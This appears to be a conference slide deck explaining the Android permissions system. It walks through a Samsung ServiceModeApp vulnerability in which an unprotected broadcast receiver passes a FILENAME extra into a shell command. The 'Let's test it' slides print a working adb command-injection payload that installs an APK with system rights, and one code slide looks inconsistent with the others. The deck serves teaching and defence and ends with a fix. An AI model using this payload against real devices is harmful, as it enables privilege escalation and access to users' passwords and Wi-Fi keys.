




Genymobile

STRIP-TEASE OF ANDROID  
PERMISSIONS SYSTEM

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**GENY**MOTION<sup>oo</sup> Dev Team Member



01

# ANDROID PERMISSIONS SYSTEM

# ANDROID USER DEFINITIONS



## User definition :

- Identify by an ID : UID
- UID '0' defines *super-user*
- UID '1000' defines *user system*
- UIDs upper to 10000 define applications users

## Group definition :

- Identify by an ID : GID
- Re-use user definition

```
root@genymotion:/ cat /data/system/packages.list
```

```
com.android.phone      1001  0 /data/data/com.android.phone default
3002,3001,3003,1028,1015
com.android.calendar 10021 0 /data/data/com.android.calendar
default 3003,1028,1015
```

# ANDROID USER DEFINITIONS



```
root@genymotion:/ # grep 10002 /data/system/packages.list

com.android.providers.userdictionary 10002 0 /data/data/com.
android.providers.userdictionary default 3003,1028,1015

com.android.providers.contacts 10002 0 /data/data/com.android.
providers.contacts default 3003,1028,1015

com.android.contacts 10002 0 /data/data/com.android.contacts
default 3003,1028,1015
```

# ANDROID FILE PERMISSIONS



## Applications :

- Each app has its own dedicated directory in */data/data*

```
alیزee@carbon$ adb shell ls -l /data/data/com.android.calendar/  
drwxrwx--x u0_a21 u0_a21 2015-03-06 23:43 cache  
lrwxrwxrwx install install 2015-02-18 14:16 lib -> /data/app-  
lib/com.android.calendar  
drwxrwx--x u0_a21 u0_a21 2015-06-03 02:38 shared_prefs
```

# ANDROID FILE PERMISSIONS



## System file and directories :

- Statically defined in *android\_filesystem\_config.h*

```
static const struct fs_path_config android_dirs[] = {  
    [...]  
    { 00771, AID_SHELL, AID_SHELL, 0, "data/local" }  
    [...]  
}
```

```
root@genymotion:/ ls -l data/local  
drwxrwx--x shell shell 2015-02-18 14:11 tmp
```

# ANDROID PERMISSIONS



## Funnier apps :

- Give access hardware devices, data, etc...

## Secure accesses :

- Keep respecting Android security model

## Grant at installation time :

- Can not be revoked later



# DIFFERENTS TYPES OF PERMISSIONS



## Predefined permissions :

- The system provides a set of permissions defined in *framework/base/core/res/AndroidManifest.xml*

```
android.permission.VIBRATE
```

## Custom permissions :

- Each application can define its own permissions

```
com.android.email.permission.ACCESS_PROVIDER
```

# PERMISSIONS DEFINITION



**A name**

**A permission group**

**A protection level :**

- Normal :
- Dangerous
- Signature
- SignatureOrSystem

# ANDROID PROCESS PERMISSIONS




```
root@genymotion:/ cat /data/system/packages.list

com.android.phone      1001  0 /data/data/com.android.phone default
3002,3001,3003,1028,1015
com.android.calendar  10021 0 /data/data/com.android.calendar default
3003,1028,1015
```


02

# PERMISSIONS IN APPLICATION LIFE TIME

# APPLICATION INSTALLATION PROCESS Genymobile



# APPLICATION START-UP PROCESS



# EXAMPLE : MMS APPLICATION



App  
characteristics

## Device access : vibrator

*Enable/Disable the use of vibrator in app settings*

## Use of `android.permission.VIBRATE`

*in AndroidManifest.xml*

## Simple use case

*Vibrations at incoming sms*


In the  
framework

## Abstract Class Vibrator

`vibrate` functions do need `VIBRATE` permission to work


```
public void vibrate(int milliseconds);  
public abstract void vibrate(int uid, String PkgName, long  
milliseconds, AudioAttributes attributes);
```





```
public void vibrate(int uid, String opPkg, long milliseconds, int usageHint,
    IBinder token) {
    if (mContext.checkCallingOrSelfPermission(android.Manifest.permission.VIBRATE)
        != PackageManager.PERMISSION_GRANTED) {
        throw new SecurityException("Requires VIBRATE permission");
    }
    verifyIncomingUid(uid);
    [...]
    Vibration vib = new Vibration(token, milliseconds, usageHint, uid, opPkg);
}

private void verifyIncomingUid(int uid) {
    if (uid == Binder.getCallingUid()) {
        return;
    }
    if (Binder.getCallingPid() == Process.myPid()) {
        return;
    }
    mContext.enforcePermission(android.Manifest.permission.UPDATE_APP_OPS_STATS,
        Binder.getCallingPid(), Binder.getCallingUid(), null);
}
```




03

## USE-CASE OF AN ANDROID APP

## Android OEM applications (in)security

Talk by **ANDRE MOULU**  
Quarkslab



## Reverse engineering on Samsung devices

*Using Androguard*

### **12 vulnerabilities found**

*Leak personal information*

*Access non-permitted features*

*Code injection*

...

# FIND THE 'GOOD' APPLICATION



Search for

**sharedUserId = system**

*Sensitive user ID*

**Command execution**

*Sensitive usage*

**Find serviceModeApp.apk**

*= Very sensitive app !*

# THROUGH THE CODE



```
<receiver name=".FTATDumpReceiver">  
  <intent-filter>  
    <action name="com.android.sec.FTAT_DUMP"></action>  
  </intent-filter>  
</receiver>
```

```
<receiver name=".FTATDumpReceiver"  
  permission="...servicemodeapp.permission.KEYSTRING">  
  <intent-filter>  
    <action name="com.android.sec.FAILDUMP"></action>  
  </intent-filter>  
</receiver>
```

*Permission asked for this action*

Two green curved arrows originate from the text 'Permission asked for this action'. One arrow points to the 'permission' attribute in the second code block, and the other points to the 'action' attribute in the same code block.



# THROUGH THE CODE



```
<receiver name=".FTATDumpReceiver">
  <intent-filter>
    <action name="com.android.sec.FTAT_DUMP" ></action>
  </intent-filter>
</receiver>
```

```
<receiver name=".FTATDumpReceiver"
  permission="...servicemodeapp.permission.KEYSTRING">
  <intent-filter>
    <action name="com.android.sec.FAILDUMP" ></action>
  </intent-filter>
</receiver>
```

*No permission needed for this action!!*

# THROUGH THE CODE



```
public void onReceive (Context paramContext, Intent paramInt) {  
    String str1 = paramInt.getAction();  
    if (str1.equals("com.android.sec.FTAT_DUMP"))  
    {  
        String str3 = "FTAT_" +  
            paramInt.getStringExtra("FILENAME");  
  
        [...]  
        String str9 = str8 + [...]  
        Intent localIntent2 = new Intent(paramContext,  
            FTATDumpService.class);  
        localIntent2.putExtra("FILENAME", str9);  
        paramContext.startService(localIntent2);  
    }  
    [...]  
}
```

*We read the `FTATDumpReceiver` source code*

# THROUGH THE CODE



```
public void onReceive(Context paramContext, Intent paramInt) {  
    String str1 = paramInt.getAction();  
    if (str1.equals("com.android.sec.FTAT_DUMP"))  
    {  
        String str3 = "FTAT_" +  
            paramInt.getStringExtra("FILENAME");  
        [...]   
        String str9 = str8 + [...]  
        Intent localIntent2 = new Intent(paramContext,  
            FTATDumpService.class);  
        localIntent2.putExtra("FILENAME", str9);  
        paramContext.startService(localIntent2);  
    }  
    [...]  
}
```

*Intercepts the FTAT\_DUMP action*

A green curved arrow originates from the text 'Intercepts the FTAT\_DUMP action' at the bottom right and points to the 'if' statement in the code block above.

# THROUGH THE CODE



```
public void onReceive(Context paramContext, Intent paramInt) {
    String str1 = paramInt.getAction();
    if (str1.equals("com.android.sec.FTAT_DUMP"))
    {
        String str3 = "FTAT_" +
            paramInt.getStringExtra("FILENAME");

        [...]
        String str9 = str8 + [...]
        Intent localIntent2 = new Intent(paramContext,
                                         FTATDumpService.class);
        localIntent2.putExtra("FILENAME", str9);
        paramContext.startService(localIntent2);
    }
    [...]
}
```

*Concates the `FILENAME` extra to `str3`*

# THROUGH THE CODE



```
public void onReceive(Context paramContext, Intent paramInt) {
    String str1 = paramInt.getAction();
    if (str1.equals("com.android.sec.FTAT_DUMP"))
    {
        String str3 = "FTAT_" +
            paramInt.getStringExtra("FILENAME");

        [...]
        String str9 = str8 + [...]
        Intent localIntent2 = new Intent(paramContext,
            FTATDumpService.class);
        localIntent2.putExtra("FILENAME", str9);
        paramContext.startService(localIntent2);
    }
    [...]
}
```

*Other concatenations follow*

# THROUGH THE CODE



```
public void onReceive(Context paramContext, Intent paramInt) {
    String str1 = paramInt.getAction();
    if (str1.equals("com.android.sec.FTAT_DUMP"))
    {
        String str3 = "FTAT_" +
            paramInt.getStringExtra("FILENAME");

        [...]
        String str9 = str8 + [...]
        Intent localIntent2 = new Intent(paramContext,
                                     FTATDumpService.class);
        localIntent2.putExtra("FILENAME", str9);
        paramContext.startService(localIntent2);
    }
    [...]
}
```

*Prepares an intent to FTATDumpService*

A green curved arrow pointing from the text 'Prepares an intent to FTATDumpService' to the `FTATDumpService.class` part of the code above.

# THROUGH THE CODE



```
public void onReceive(Context paramContext, Intent paramInt) {  
    String str1 = paramInt.getAction();  
    if (str1.equals("com.android.sec.FTAT_DUMP"))  
    {  
        String str3 = "FTAT_" +  
            paramInt.getStringExtra("FILENAME");  
  
        [...]  
        String str9 = str8 + [...]  
        Intent localIntent2 = new Intent(paramContext,  
            FTATDumpService.class);  
  
        localIntent2.putExtra("FILENAME", str9);  
        paramContext.startService(localIntent2);  
    }  
    [...]  
}
```

*Adds the final string to the intent*

# THROUGH THE CODE



```
public void onReceive(Context paramContext, Intent paramInt) {
    String str1 = paramInt.getAction();
    if (str1.equals("com.android.sec.FTAT_DUMP"))
    {
        String str3 = "FTAT_" +
            paramInt.getStringExtra("FILENAME");

        [...]
        String str9 = str8 + [...]
        Intent localIntent2 = new Intent(paramContext,
            FTATDumpService.class);
        localIntent2.putExtra("FILENAME", str9);
        paramContext.startService(localIntent2);
    }
    [...]
}
```

*Starts the FTATDumpService with our  
FILENAME parameter as extra*





# THROUGH THE CODE



```
public int onStartCommand(Intent paramIntent, ...){
    final String str = paramIntent.getStringExtra("FILENAME");
    [...]
    new Thread(new Runnable(){
        public void run(){
            [...]
            if(FTATDumpService.this.
                DoShellCmd("dumpstate > /data/log/" + str + ".log"))
                FTATDumpService.this.mHandler.sendMessage(1015);
            [...]
        }
    }).start();
    return 0;
}
```

*We read then the FTATDumpService source code*

# THROUGH THE CODE



```
public int onStartCommand(Intent paramIntent, ...){
    final String str = paramIntent.getStringExtra("FILENAME");
    [...]
    new Thread(new Runnable(){
        public void run(){
            [...]
            if(FTATDumpService.this.
                DoShellCmd("dumpstate > /data/log/" + str + ".log"))
                FTATDumpService.this.mHandler.sendMessage(1015);
            [...]
        }
    }).start();
    return 0;
}
```

*Extracts the `FILENAME` extra to `str`*



# THROUGH THE CODE



```
public int onStartCommand(Intent paramIntent, ...){
    final String str = paramIntent.getStringExtra("FILENAME");
    [...]
    new Thread(new Runnable(){
        public void run(){
            [...]
            if(FTATDumpService.this.
                DoShellCmd("dumpstate > /data/log/" + str + ".log"))
                FTATDumpService.this.mHandler.sendMessage(1015);
            [...]
        }
    }).start();
    return 0;
}
```

*Opens and starts a new thread*

# THROUGH THE CODE



```
public int onStartCommand(Intent paramIntent, ...) {
    final String str = paramIntent.getStringExtra("FILENAME");
    [...]
    new Thread(new Runnable() {
        public void run() {
            [...]
            if(FTATDumpService.this.
                DoShellCmd("dumpstate > /data/log/" + str + ".log"))
                FTATDumpService.this.mHandler.sendMessage(1015);
            [...]
        }
    }).start();
    return 0;
}
```

*Seems to "do a shell command" with our  
FILENAME parameter concatenated*

# THROUGH THE CODE



```
private boolean DoShellCmd(String paramString) {  
    [...]  
    String[] arrayOfString = new String[3];  
    arrayOfString[0] = "/system/bin/sh";  
    arrayOfString[1] = "-c";  
    arrayOfString[2] = paramString;  
    [...]  
    Runtime.getRuntime().exec(arrayOfString).waitFor();  
    [...]  
    return true;  
}
```

*This is DoShellCmd function*

# THROUGH THE CODE



```
private boolean DoShellCmd(String paramString) {  
    [...]  
    String[] arrayOfString = new String[3];  
    arrayOfString[0] = "/system/bin/sh";  
    arrayOfString[1] = "-c";  
    arrayOfString[2] = paramString;  
    [...]  
    Runtime.getRuntime().exec(arrayOfString).waitFor();  
    [...]  
    return true;  
}
```

*And runs it*

*Creates a shell command*

# THROUGH THE CODE



```
private boolean DoShellCmd(String paramString) {  
    [...]  
    String[] arrayOfString = new String[3];  
    arrayOfString[0] = "/system/bin/sh";  
    arrayOfString[1] = "-c";  
    arrayOfString[2] = paramString;  
    [...]  
    Runtime.getRuntime().exec(arrayOfString).waitFor();  
    [...]  
    return true;  
}
```

Two green arrows originate from the right side of the code block. One arrow points to the parameter 'paramString' in the function signature 'DoShellCmd(String paramString)'. The other arrow points to the assignment 'arrayOfString[2] = paramString;' in the code body.


*And our `FILENAME` parameter is still not modified*

# THROUGH THE CODE

```
private boolean DoShellCmd(String paramString) {  
    [...]  
    String[] arrayOfString = paramString.split(" ");  
    arrayOfString[0] = "cmd";  
    arrayOfString[1] = "cmd";  
    arrayOfString[2] = "cmd";  
    [...]  
    Runtime.getRuntime().exec(arrayOfString).waitFor();  
    [...]  
    return true;  
}
```

BINGO!

And our *FILENAME* parameter is not modified







Access to

**All permissions declared by  
*system apps***

*156 in this case*

**All files belonging to *system user***

*Wifi keys*

*Password, PIN, gesture storage*

...

04

LET'S TEST IT !

# LET'S TEST IT!



```
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP
--es FILENAME '../../../../../../../../../dev/null;
/system/bin/pm install an.apk;
#'
```

```
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has
extras) }
```

```
Broadcast completed : result=0
```

*A simple broadcast for FTAT\_DUMP action*

A green curved arrow originates from the text 'A simple broadcast for FTAT\_DUMP action' and points to the 'com.android.sec.FTAT\_DUMP' part of the command in the code block above.

# LET'S TEST IT!



```
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP  
  --es FILENAME '../../../../../dev/null;  
                  /system/bin/pm install an.apk;  
                  #'
```

```
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has  
extras) }
```

```
Broadcast completed : result=0
```

*We declare the `FILENAME` argument*

# LET'S TEST IT!



```
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP  
--es FILENAME '../../../../../dev/null;  
/system/bin/pm install an.apk;  
#'
```

```
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has  
extras) }
```

```
Broadcast completed : result=0
```

*We point the destination file to null*

# LET'S TEST IT!



```
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP  
--es FILENAME '../../../../../../../../../dev/null;  
    /system/bin/pm install an.apk;  
    #'
```

```
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has  
extras) }  
Broadcast completed : result=0
```

*We execute our system command*

A green curved arrow originates from the text 'We execute our system command' and points to the red text '/system/bin/pm install an.apk;' in the terminal output above.

# LET'S TEST IT!




```
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP
--es FILENAME '../../../../../../../../../dev/null;
                /system/bin/pm install an.apk;
                #'
```

**Broadcasting : Intent { act=com.android.sec.FTAT\_DUMP (has extras) }**

**Broadcast completed : result=0**

LET'S TEST IT!

NAUGHTY  
BOY!





05 FIX IT!

# DIRTY CODE



```
<receiver name=".FTATDumpReceiver">
  <intent-filter>
    <action name="com.android.sec.FTAT_DUMP"></action>
  </intent-filter>
</receiver>
```

```
<receiver name=".FTATDumpReceiver"
  permission="...servicemodeapp.permission.KEYSTRING">
  <intent-filter>
    <action name="com.android.sec.FAILDUMP"></action>
  </intent-filter>
</receiver>
```

# PROPER CODE



```
<receiver name=".FTATDumpReceiver"  
    permission="...servicemodeapp.permission.KEYSTRING1">  
    <intent-filter>  
        <action name="com.android.sec.FTAT_DUMP"></action>  
    </intent-filter>  
</receiver>
```

```
<receiver name=".FTATDumpReceiver"  
    permission="...servicemodeapp.permission.KEYSTRING2">  
    <intent-filter>  
        <action name="com.android.sec.FAILDUMP"></action>  
    </intent-filter>  
</receiver>
```



# CONCLUSION

# SUMMARY



**It happens at application level**

**Look after your app's backdoors**

*Don't export local services*

*Use a strict permission model*

# ANDROID M

Benjamin Poiesz' talk : <https://www.youtube.com/watch?v=f17qe9vZ8RM>



## Smaller set of permissions

## Request permissions at runtime

*Users will be able to grant and revoke permissions individually for all apps at all time !*

## Compatibility to the old permissions system

*Grant permissions at the installation with the possibility to change them after.*



Genymobile

Thanks for your attention !

PENEL Alizée

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QUESTIONS?

